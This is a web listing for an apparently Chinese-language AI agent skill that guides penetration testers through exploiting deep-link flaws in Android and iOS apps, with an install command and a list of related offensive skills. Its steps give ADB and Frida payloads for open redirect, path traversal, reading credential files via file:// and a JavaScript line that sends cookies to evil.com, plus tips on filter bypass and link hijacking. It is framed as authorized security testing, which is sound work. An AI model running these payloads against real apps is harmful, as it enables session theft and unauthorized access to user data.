exploiting-deeplink-vulnerabilities

测试和利用 Android 和 iOS 移动应用程序中的深度链接(URL Scheme 和 App Link)漏洞,识别未授权访问、数据注入、Intent 劫持和重定向操纵。适用于通过自定义 URI Scheme、Android App Links、iOS Universal Links 或基于 Intent 的导航评估移动应用攻击面。适用于深度链接安全测试、URL Scheme 利用、移动端 Intent 滥用或链接劫持等请求场景。

9 stars

Best use case

exploiting-deeplink-vulnerabilities is best used when you need a repeatable AI agent workflow instead of a one-off prompt.

测试和利用 Android 和 iOS 移动应用程序中的深度链接(URL Scheme 和 App Link)漏洞,识别未授权访问、数据注入、Intent 劫持和重定向操纵。适用于通过自定义 URI Scheme、Android App Links、iOS Universal Links 或基于 Intent 的导航评估移动应用攻击面。适用于深度链接安全测试、URL Scheme 利用、移动端 Intent 滥用或链接劫持等请求场景。

Teams using exploiting-deeplink-vulnerabilities should expect a more consistent output, faster repeated execution, less prompt rewriting.

When to use this skill

  • You want a reusable workflow that can be run more than once with consistent structure.

When not to use this skill

  • You only need a quick one-off answer and do not need a reusable workflow.
  • You cannot install or maintain the underlying files, dependencies, or repository context.

Installation

Claude Code / Cursor / Codex

$curl -o ~/.claude/skills/exploiting-deeplink-vulnerabilities/SKILL.md --create-dirs "https://raw.githubusercontent.com/killvxk/cybersecurity-skills-zh/main/skills/exploiting-deeplink-vulnerabilities/SKILL.md"

Manual Installation

  1. Download SKILL.md from GitHub
  2. Place it in .claude/skills/exploiting-deeplink-vulnerabilities/SKILL.md inside your project
  3. Restart your AI agent — it will auto-discover the skill

How exploiting-deeplink-vulnerabilities Compares

Feature / Agentexploiting-deeplink-vulnerabilitiesStandard Approach
Platform SupportNot specifiedLimited / Varies
Context Awareness High Baseline
Installation ComplexityUnknownN/A

Frequently Asked Questions

What does this skill do?

测试和利用 Android 和 iOS 移动应用程序中的深度链接(URL Scheme 和 App Link)漏洞,识别未授权访问、数据注入、Intent 劫持和重定向操纵。适用于通过自定义 URI Scheme、Android App Links、iOS Universal Links 或基于 Intent 的导航评估移动应用攻击面。适用于深度链接安全测试、URL Scheme 利用、移动端 Intent 滥用或链接劫持等请求场景。

Where can I find the source code?

You can find the source code on GitHub using the link provided at the top of the page.

SKILL.md Source

# 利用深度链接漏洞

## 适用场景

使用此技能的场景:
- 评估移动应用深度链接处理中的注入和重定向漏洞
- 测试 Android Intent 过滤器和 iOS URL Scheme 处理器是否存在未授权访问
- 评估 App Links(Android)和 Universal Links(iOS)验证机制
- 测试通过竞争应用注册实施链接劫持

**不适用于**:未获得授权的情况 -- 深度链接利用可能在目标应用程序中触发意外操作。

## 前置条件

- 安装了 ADB 的 Android 设备或安装了 Objection/Frida 的 iOS 设备
- 使用 apktool 或 JADX 反编译 APK 以分析 AndroidManifest.xml
- 了解目标应用程序注册的 URL Scheme 和 Intent 过滤器
- Drozer,用于 Android Intent 测试
- Burp Suite,用于拦截深度链接触发的 API 调用

## 工作流程

### 步骤 1:枚举深度链接入口点

**Android - 从 AndroidManifest.xml 提取:**
```bash
# 反编译 APK
apktool d target.apk -o decompiled/

# 搜索带深度链接 Scheme 的 Intent 过滤器
grep -A 10 "android.intent.action.VIEW" decompiled/AndroidManifest.xml

# 查找以下内容:
# <data android:scheme="myapp" android:host="action" />
# <data android:scheme="https" android:host="target.com" />
```

**iOS - 从 Info.plist 提取:**
```bash
# 提取 URL Scheme
plutil -p Payload/TargetApp.app/Info.plist | grep -A 5 "CFBundleURLSchemes"

# 提取 Universal Links(关联域名)
plutil -p Payload/TargetApp.app/Info.plist | grep -A 5 "com.apple.developer.associated-domains"
# 检查:applinks:target.com

# 验证 apple-app-site-association 文件
curl https://target.com/.well-known/apple-app-site-association
```

### 步骤 2:测试深度链接注入

**通过 ADB 测试 Android:**
```bash
# 基本深度链接调用
adb shell am start -a android.intent.action.VIEW \
  -d "myapp://dashboard?user_id=1337" com.target.app

# 使用注入载荷测试
adb shell am start -a android.intent.action.VIEW \
  -d "myapp://profile?redirect=https://evil.com" com.target.app

# 测试路径遍历
adb shell am start -a android.intent.action.VIEW \
  -d "myapp://navigate?path=../../../admin" com.target.app

# 测试 JavaScript 注入(如果在 WebView 中加载)
adb shell am start -a android.intent.action.VIEW \
  -d "myapp://webview?url=javascript:alert(document.cookie)" com.target.app

# 使用额外 Intent 参数测试
adb shell am start -a android.intent.action.VIEW \
  -d "myapp://transfer?amount=1000&to=attacker" \
  --es extra_param "injected_value" com.target.app
```

**iOS 通过 Safari 或命令行:**
```bash
# 从 Safari 触发 URL Scheme
# 导航至:myapp://dashboard?user_id=1337

# 使用 Frida 调用
frida -U -n TargetApp -e '
ObjC.classes.UIApplication.sharedApplication()
  .openURL_(ObjC.classes.NSURL.URLWithString_("myapp://profile?redirect=https://evil.com"));
'
```

### 步骤 3:测试链接劫持

**Android:**
```bash
# 创建注册相同 URL Scheme 的恶意应用
# 攻击者应用的 AndroidManifest.xml:
# <intent-filter>
#   <action android:name="android.intent.action.VIEW" />
#   <category android:name="android.intent.category.DEFAULT" />
#   <category android:name="android.intent.category.BROWSABLE" />
#   <data android:scheme="myapp" />
# </intent-filter>

# 当两个应用都安装时,Android 会显示选择对话框
# 在较旧的 Android 版本上,最先安装的应用可能处理链接

# 检查 App Links 验证(防止劫持)
adb shell pm get-app-links com.target.app
# 状态:verified = 安全
# 状态:undefined = 易受劫持攻击
```

### 步骤 4:测试 WebView 深度链接加载

```bash
# 如果深度链接在 WebView 中加载 URL,测试以下内容:
# 1. 开放重定向
adb shell am start -d "myapp://open?url=https://evil.com" com.target.app

# 2. 文件访问
adb shell am start -d "myapp://open?url=file:///data/data/com.target.app/shared_prefs/creds.xml"

# 3. 在 WebView 中执行 JavaScript
adb shell am start -d "myapp://open?url=javascript:fetch('https://evil.com/steal?cookie='+document.cookie)"
```

### 步骤 5:评估参数验证

测试每个深度链接参数是否存在:
- 在查询本地数据库的参数中存在 SQL 注入
- 文件路径参数中存在路径遍历
- 触发服务器请求的 URL 参数中存在 SSRF
- 通过 user_id 或 session 参数实现认证绕过

## 核心概念

| 术语 | 定义 |
|------|------|
| **自定义 URL Scheme** | 应用注册的协议(myapp://),调用时路由到特定的应用处理器 |
| **App Links(Android)** | 经验证的 HTTPS 深度链接,绕过选择对话框,直接在已验证的应用中打开 |
| **Universal Links(iOS)** | Apple 使用 Web 域名上的 apple-app-site-association JSON 文件进行验证的深度链接机制 |
| **Intent 劫持(Intent Hijacking)** | 恶意应用通过注册相同的 URL Scheme 或 Intent 过滤器来拦截深度链接 |
| **WebView 桥接(WebView Bridge)** | 暴露给 WebView 内容的 JavaScript 接口,可能通过深度链接加载的 URL 访问 |

## 工具与系统

- **ADB**:Android 命令行工具,通过 `am start` 调用深度链接
- **Drozer**:Android 安全框架,用于测试基于 Intent 的攻击面
- **apktool**:APK 反编译器,用于提取 AndroidManifest.xml 和 Intent 过滤器定义
- **Frida**:动态插桩工具,用于在运行时钩取 URL Scheme 处理器
- **Burp Suite**:代理工具,用于拦截深度链接导航触发的 API 调用

## 常见陷阱

- **App Links 验证**:具有已验证域名关联的 Android App Links 能抵抗劫持。检查 `https://domain/.well-known/assetlinks.json` 处的 `assetlinks.json`。
- **Fragment 处理**:某些应用处理 URL Fragment(#)的方式与查询参数(?)不同。两者都要测试。
- **编码绕过**:对载荷进行 URL 编码,以绕过深度链接处理器中的客户端输入过滤。
- **多步深度链接**:某些深度链接需要认证状态。在登录后和登录前都要测试,以评估授权执行情况。

Related Skills

triaging-vulnerabilities-with-ssvc-framework

9
from killvxk/cybersecurity-skills-zh

使用 CISA 的利益相关方特定漏洞分类(SSVC)决策树框架对漏洞进行分类和优先排序,产出可操作的修复优先级:Track、Track*、Attend 或 Act。

testing-for-xxe-injection-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

在授权的渗透测试中发现和利用 XML 外部实体(XXE)注入漏洞,以读取服务器文件、执行 SSRF 并外泄数据。

testing-for-xss-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

通过向反射型、存储型和 DOM 型上下文注入 JavaScript 载荷,测试 Web 应用程序的跨站脚本(XSS)漏洞, 演示客户端代码执行、会话劫持和用户冒充。测试人员识别所有注入点和输出上下文,构造适合上下文的载荷, 并绕过净化和 CSP 保护。适用于 XSS 测试、跨站脚本评估、客户端注入测试或 JavaScript 注入漏洞测试等请求场景。

testing-for-xss-vulnerabilities-with-burpsuite

9
from killvxk/cybersecurity-skills-zh

在授权的安全评估过程中,使用 Burp Suite 的扫描器、Intruder 和 Repeater 工具识别和验证跨站脚本(XSS)漏洞。适用于 Web 应用渗透测试中检测反射型、存储型和 DOM 型 XSS,验证自动化扫描器报告的 XSS 发现,以及评估 CSP 和 XSS 过滤器的有效性时使用。

testing-for-xml-injection-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

测试 Web 应用程序中的 XML 注入漏洞,包括 XXE(XML 外部实体注入)、XPath 注入和 XML 实体攻击,以识别数据泄露和服务器端请求伪造(SSRF)风险。

testing-for-open-redirect-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

通过分析 URL 重定向参数、绕过技术和利用链,识别并测试 Web 应用程序中的开放重定向漏洞,用于网络钓鱼和 Token 窃取。

testing-for-json-web-token-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

测试 JWT 实现中的关键漏洞,包括算法混淆、none 算法绕过、kid 参数注入和弱密钥利用,以实现认证绕过和权限提升。

testing-for-business-logic-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

识别应用程序业务逻辑中的缺陷,这些缺陷允许价格操控、工作流绕过和权限提升,超出技术漏洞扫描器的检测范围。

testing-android-intents-for-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

测试 Android 进程间通信(IPC)中 Intent 的安全漏洞,包括 Intent 注入、未授权组件访问、 广播嗅探、PendingIntent 劫持和 ContentProvider 数据泄露。适用于评估 Android 应用导出组件 攻击面、测试 Intent 数据流或评估 IPC 安全性的场景。适合涉及 Android Intent 安全、IPC 测试、 导出组件分析或 Drozer 评估的相关请求。

prioritizing-vulnerabilities-with-cvss-scoring

9
from killvxk/cybersecurity-skills-zh

通用漏洞评分系统(CVSS)是由 FIRST(事件响应和安全团队论坛)维护的行业标准框架,用于评估漏洞严重性。CVSS v4.0 于 2023 年 11 月发布,引入了更精确的评分指标。

exploiting-zerologon-vulnerability-cve-2020-1472

9
from killvxk/cybersecurity-skills-zh

利用 Netlogon 远程协议中的 Zerologon 漏洞(CVE-2020-1472),通过将机器账户密码重置为空来实现域控制器入侵。

exploiting-websocket-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

在授权安全评估中测试 WebSocket 实现的身份验证绕过、跨站劫持、注入攻击和不安全消息处理。